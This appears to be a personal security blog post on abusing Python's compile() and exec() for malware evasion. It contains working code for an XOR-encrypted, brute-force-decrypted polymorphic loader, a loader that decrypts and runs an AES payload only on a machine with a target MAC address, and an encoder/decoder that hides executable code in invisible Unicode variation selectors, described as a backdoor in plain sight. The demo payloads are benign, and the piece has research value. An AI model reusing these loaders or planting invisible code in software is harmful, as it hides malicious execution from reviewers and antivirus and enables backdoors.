Cliquez ici pour la version française de l'article

If you tell most malware experts that you use Python for malware, you'll be seen as a fool or as a script skiddy (and probably rightfully so). Indeed, Python is generally the first language people use because it's high level and the syntax is incredibly easy. In fact, it's almost the complete opposite of what you would want for malware. A lot of abstraction layers generally means less freedom, malware developers usually do a lot of low-level memory manipulation, run machine code in injection scenarios, need complete freedom on the Windows API for dynamic DLL loading, system calls... This is why people in the field generally use compiled languages like C. But what if I told you Python does have advantages in malware development?

Python compile()

In malware development, there is this concept called “code virtualization”, where the binary carries its own virtual machine, a custom bytecode interpreter that will read the payload (a payload that statistical analysis have a hard time with, since it’s a custom bytecode).
Well, this concept is obviously not only used for malware, you can find it in high level languages like Java (JVM) and… Python (CPython).
The bytecode gets executed by ceval.c, the interpreter happily runs the .pyc without ever seeing your source code!

You can control the Python compiler during runtime using the compile() function:

1
2
3
4
source = r"print('hello peeps')"
payload = compile(source, "<string>", "exec")
print(payload.co_code) # shows the raw byte code
exec(payload) # hello peeps

That means you can absolutely run code that isn’t written in the source / directly visible in static analysis.
Here is a simple example using base64:

1
2
3
4
import base64
payload = base64.b64decode("cHJpbnQoIm5vdCB2aXNpYmxlIGluIHN0YXRpYyBhbmFseXNpcyIp") # payload is 'print("not visible in static analysis")'
code = compile(payload, "<string>", "exec")
exec(code)

Now, if you believe there will be some constant folding / propagation going on… Well, here is the disassembly of the .pyc Python generated for our simple script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

0 RESUME 0

1 LOAD_SMALL_INT 0
LOAD_CONST 1 (None)
IMPORT_NAME 0 (base64)
STORE_NAME 0 (base64)

2 LOAD_SMALL_INT 0
LOAD_CONST 1 (None)
IMPORT_NAME 1 (dis)
STORE_NAME 1 (dis)

4 LOAD_NAME 0 (base64)
LOAD_ATTR 4 (b64decode)
PUSH_NULL
LOAD_CONST 2 ('cHJpbnQoIm5vdCB2aXNpYmxlIGluIHN0YXRpYyBhbmFseXNpcyIp') <- Still in base64!!
CALL 1
STORE_NAME 3 (payload)

5 LOAD_NAME 4 (compile)
PUSH_NULL
LOAD_NAME 3 (payload)
LOAD_CONST 3 ('<string>')
LOAD_CONST 4 ('exec')
CALL 3
STORE_NAME 5 (code)

6 LOAD_NAME 6 (exec)
PUSH_NULL
LOAD_NAME 5 (code)
CALL 1
POP_TOP
LOAD_CONST 1 (None)
RETURN_VALUE

That’s a good reminder that Python is slow, lazy and inefficient I believe. The compiler barely does any work for you at compile time.
Here for simplicity, we simply encoded the payload in base64. But with a more complex stub (XOR, junk code, non-deterministic brute force, hashing) it can becomes extremely hard to know what the script output will be without dynamic analysis.
So that’s that. We will see what we can do with this.

PyInstaller

PyInstaller is that dirty tool most people who know Python have used. I personally used it a lot to run my Python scripts on non tech savvy people computers so they don’t have to install a Python interpreter.
Indeed, PyInstaller in --onefile mode just creates a PE with the whole runtime compressed inside, the interpreter DLLs, your modules, your code. A single hello world is more than 10 MB in Python…
It’s junk code except it’s actually not, most AV vendors don’t have a custom Python unpacking mechanism, and never actually analyze the code that matters.

Going further with a demo of polymorphic code

Here is an example of how I would use this mechanism to make a .pyc very painful to analyse in static analysis for reverse engineers and AVs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#!/usr/bin/env python3

import os, sys, ast, types, hashlib, operator

# Encrypted payloads in XOR
ENC_IMPORT = bytes([0x0d, 0x03, 0x05, 0x1d, 0x16, 0x1a, 0x55, 0x1d, 0x17])
ENC_POPEN = bytes([0x0e, 0x1e, 0x4a, 0x13, 0x0e, 0x1d, 0x01, 0x0d,
0x49, 0x4a, 0x07, 0x02, 0x0d, 0x0e, 0x43, 0x4a])


def _host_salt():
# Per host salt derived from stable environment variables.
parts = [
os.getenv("USERNAME") or os.getenv("USER") or "",
os.getenv("COMPUTERNAME") or os.getenv("HOSTNAME") or "",
os.getenv("PROCESSOR_ARCHITECTURE") or "",
os.getenv("NUMBER_OF_PROCESSORS") or "",
os.getenv("OS") or "",
os.getenv("PROCESSOR_IDENTIFIER") or "",
]
return int.from_bytes(
hashlib.sha256("|".join(parts).encode()).digest()[:4], "little"
)


SALT = _host_salt()

_JUNK_FN = {}


def _junk(iter_count):
# Polymorphic junk: a fresh function is compiled every 64 iterations,
bucket = iter_count // 64
if bucket not in _JUNK_FN:
src = (
"def _j(s, i, b):\n"
f" a = (s * 1103515245 + i * 12345 + b * {bucket * 7 + 3}) & 0xFFFF\n"
" x = int.__xor__(a, int.__mul__(b, 2654435761) & 0xFFFF)\n"
" y = int.__add__(x & 0xFF, i & 0xFF)\n"
" z = int.__mul__(y, 1)\n"
" known = str.__len__('polymorphic') == 11\n"
" return bool(known) and (z >= 0)\n"
)
ns = {}
exec(compile(src, f"<junk-{bucket}>", "exec"), ns)
_JUNK_FN[bucket] = ns["_j"]

return _JUNK_FN[bucket](SALT, iter_count, bucket) # always True


def _check_import(src):
try:
tree = ast.parse(src)
except SyntaxError:
return False
return (len(tree.body) == 1
and isinstance(tree.body[0], ast.Import))


def _check_popen(src):
try:
tree = ast.parse(src)
except SyntaxError:
return False
if len(tree.body) != 1:
return False
stmt = tree.body[0]
if not isinstance(stmt, ast.Expr) or not isinstance(stmt.value, ast.Call):
return False
call = stmt.value
if not isinstance(call.func, ast.Attribute):
return False
return (len(call.args) == 1
and isinstance(call.args[0], ast.Constant)
and isinstance(call.args[0].value, str))


def _try(cipher, key, check):
padded = key * ((len(cipher) + 3) // 4)
dec = bytes(map(operator.xor, cipher, padded))
if not all(0x20 <= b < 0x7F for b in dec):
return None
try:
src = dec.decode("ascii")
except UnicodeDecodeError:
return None
return src if check(src) else None


def _candidate_keys():
# enumerate 4 letters lowercase XOR keys

start = SALT % 26
order = [(start + k) % 26 for k in range(26)]
for a in order:
for b in order:
for c in order:
for d in order:
yield bytes([0x61 + a, 0x61 + b, 0x61 + c, 0x61 + d])


def _junk_bytecode(co, seed):

new_consts = []
for c in co.co_consts:
new_consts.append(_junk_bytecode(c, seed)
if isinstance(c, types.CodeType) else c)
new_consts.append(f"__dead_{seed:x}")
new_consts.append(bytes([seed & 0xFF, (seed >> 8) & 0xFF]))
try:
return co.replace(
co_consts=tuple(new_consts),
co_code=co.co_code + bytes([9, 0]) * 3, # Just to make it more confusing, I don't know
)
except Exception:
return co.replace(co_consts=tuple(new_consts))


def main():
found = {}
iterations = 0
keys = _candidate_keys()

# bruteforce
while len(found) < 2 and _junk(iterations):
iterations += 1
try:
key = next(keys)
except StopIteration:
break
for name, cipher, check in (
("import", ENC_IMPORT, _check_import),
("popen", ENC_POPEN, _check_popen),
):
if name in found:
continue
src = _try(cipher, key, check)
if src is not None:
found[name] = (key, src)

if len(found) < 2:
sys.exit(1)

# Compile the recovered plaintexts, then dress up their bytecode.
imp_code = _junk_bytecode(
compile(found["import"][1], "<import>", "exec"), SALT ^ 0xDEADBEEF)
pop_code = _junk_bytecode(
compile(found["popen"][1], "<popen>", "exec"), SALT ^ 0xCAFEBABE)

ns = {"__name__": "__main__"}
exec(imp_code, ns)
exec(pop_code, ns)


if __name__ == "__main__":
main()

All of this is to open calc.exe by the way.
This is no where near what people do with LLVM obfuscation passes, but it’s annoying to reverse, which is already something. Remember this is just Python.
There are multiple projects like PyArmor, pyobfus, VMP-Protector, CodeEnigma doing this automatically with more complexity, but this just shows how fun and simple it can be to make your custom one (which makes it harder to fingerprint, there might be YARA rules for known library)

Stepping up a notch a real usecase of Python compile() : Encrypted code that only gets decrypted on specific machine / environment

This is all interesting, but none of it is truly original. I could stop here like most articles be like : “There you go, compiling custom bytecode” but instead, let me show a real use case: how this could be weaponized in real life, and the interesting things we can do with it.

My first idea was to make Python code that could only run on a specific machine. Not only that the code would be nearly undecryptable if it doesn’t run on the intended machine. Probably the worst nightmare for a malware analyst.

The following script demonstrate it, it’s “impossible” to know what the script is doing as long as you are not the target, this script compares the device MAC address with a SHA256 of the target MAC, if it matches it decrypt the AES128 payload with a key derived from the MAC address, and exec(compile()) allows us to run this decrypted code!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python3

import base64
import hashlib
import hmac
import sys
import uuid
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad


EXPECTED_HASH = "5ebfed4129abc611f635674a920cf098f7035d53666fcafc01eb6acfe4a64629" # SHA256 of the target MAC address
CIPHERTEXT_B64 = (
"NyflLEek98ObXyZ1dY/ETXhyThxHD095DTm6df34GMM39HDdg10+LnM2sY/" # Cipher text (AES128) the payload (secret!)
"Ai1sP8LVe7/duKfdaKghiTyqsmhFe516Xnks21mFWCL0gXuNvOOAQJ791"
"DFlEw52r6C3Z"
)

def current_mac():
'''
Get MAC address, if you don't want to spoof your MAC you can cheat by
changing the function return statement to return "EC:BC:FE:02:9B:FF", the expected MAC address
'''
n = uuid.getnode()

if (n >> 40) & 1:
sys.exit(1)
#return "EC:BC:FE:02:9B:FF"
return ":".join(f"{(n >> (8 * i)) & 0xFF:02X}" for i in range(5, -1, -1))

def derive_key(mac):
return mac[:-1].encode()

def main():
mac = current_mac()
if not hmac.compare_digest(hashlib.sha256(mac.encode()).hexdigest(), EXPECTED_HASH):
sys.exit(1) # Not our target

else: # The HASH matches with the device MAC, we on the target device
key = derive_key(mac) # the key is derived from the MAC like so : base64(MAC address - the last char) to match key size

cipher = AES.new(key, AES.MODE_ECB)
plaintext = unpad(cipher.decrypt(base64.b64decode(CIPHERTEXT_B64)), AES.block_size)
exec(compile(plaintext, "<locked>", "exec"))

main()

I find the simplicity of that code fascinating.
Python makes it so easy, any python beginner could understand this code after learning what compile() does, which might make Python a great language to draft / demonstrate / showcase complex malware mechanism in some cases.
This example is not “unbreakable”. While there is 2^46 ( = 281,474,976,710,656) possible MAC addresses, the key is only 128bit and on modern hardware it’s not that challenging. But you could absolutely make the ciphertext nearly impossible to crack by deriving the key using known environment variable: the content of a specific file the target has, GUID, hardware fingerprinting, IP address, folder / work space strucutre possiblities are simply endless.
“It’s just Python, it’s just Python”, yet even an expert researcher in front of the source code cannot tell you what the output of this script will be on the target machine, think about it.

A second real usecase example

So I believe this article is getting interesting, but it’s still not the “weaponization” I promised, still very far from anything that “could be used as an attack vector”. So here is another way, completely different yet very interesting, to take advantage of Python’s compile().
The idea: hide a payload in plain sight, directly in the source code for anyone to see, and ship the .py file, yes we are going to use unicode stegnography.

Unicode is a complex system with SO MANY code points. What I did one day is I prompted my AI agent to give me all printable but tiny / zero-width / invisible Unicode characters, with one idea in mind: if I could place these characters in a Python source file to represent binary data, then decode them, I could use compile() to run the result, essentially executing code that is literally invisible to the user (only the decoding logic and the compile() statement would be visible).
My AI agent came up with multiple candidates, but only variation selectors stood out (U+FE00 -> U+FE0F and U+E0100 -> U+E01EF).
That’s 16 + 240 = 256 invisible characters that Python happily accepts in your code, since these characters are printable Python will let you use them in your code without throwing any errors!

This might remind you of the “ASCII smuggling” attacks on LLMs / prompt injections, which used a similar technique, except here we use this steganography to hide the code in order to run it.

With that, I designed an encoder that takes text as bytes, variation selectors have enough possible values:

1
2
3
4
5
6
7
def encode(text):
for byte in text.encode("utf-8"):
if byte < 0x10:
hidden += chr(0xFE00 + byte) # U+FE00 -> U+FE0F
else: # byte 16 -> 255
hidden += chr(0xE0100 + byte - 0x10) # U+E0100 -> U+E01EF
return hidden

The decoder is straightforward:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

def decode(hidden):
data = bytearray()

for ch in hidden:
cp = ord(ch)

if 0xFE00 <= cp <= 0xFE0F:
data.append(cp - 0xFE00)

elif 0xE0100 <= cp <= 0xE01EF:
data.append(cp - 0xE0100 + 0x10)

return data.decode("utf-8")

exec(compile(decode("<paste the hidden variation selecetors here>"), "<HIDDEN>", "exec"))

In Visual Studio code hidden char are highlighted in yellow with a warning, but for the non attentive programmer along with some social engineering (code painful to read, ASCII art inside the code that might make a single yellow block look normal) this can easily be ignored.
I tested it with import os; os.system('msg * test') (message box through windows CMD), in Visual Studio Code this is what it looks like.

Booom!!!!

It nonetheless looks impressive, the import os is encoded with the os.system() call, completely invisible

Now we have essentially achieved a "backdoor" in plain sight: the .py source code is there, yet it runs something we CANNOT SEE.

Obviously it does not work in any terminal and text editor it requires the correct encoding and code page...

I think I have already done enough, this article is already pretty long and we explored very “fancy” stuff that we can do using the Python compile() function.
If you want to try it out for yourself, the whole code for generating “hidden unicode” payloads is in this GitHub repository : https://github.com/0xWill-A/python-invisible-code

Conclusion

I hope this article made Python less uninteresting. I’m not trying to say that Python is a good language for malware or that it will become a major attack vector, it’s just interesting to see the underlying concepts and see how the possibilities aren’t limited, in a language that is itself so limiting.

I simplified a lot of part of the article to only talk about what truly matters, for the polymorphic example it would have been better to heavily rely on AST manipulation and pre-compiled code objects: polymorphic code object would bypass AMSI for example.

I find also fascinating the contrast with compiled languages, how easy running raw instructions and manipulating them becomes. In C you would have to generate the machine code, remove null bytes, use VirtualAlloc() etc. In Python you can just compile VM instructions on the fly.

I’m currently looking for a job by the way, please hire me!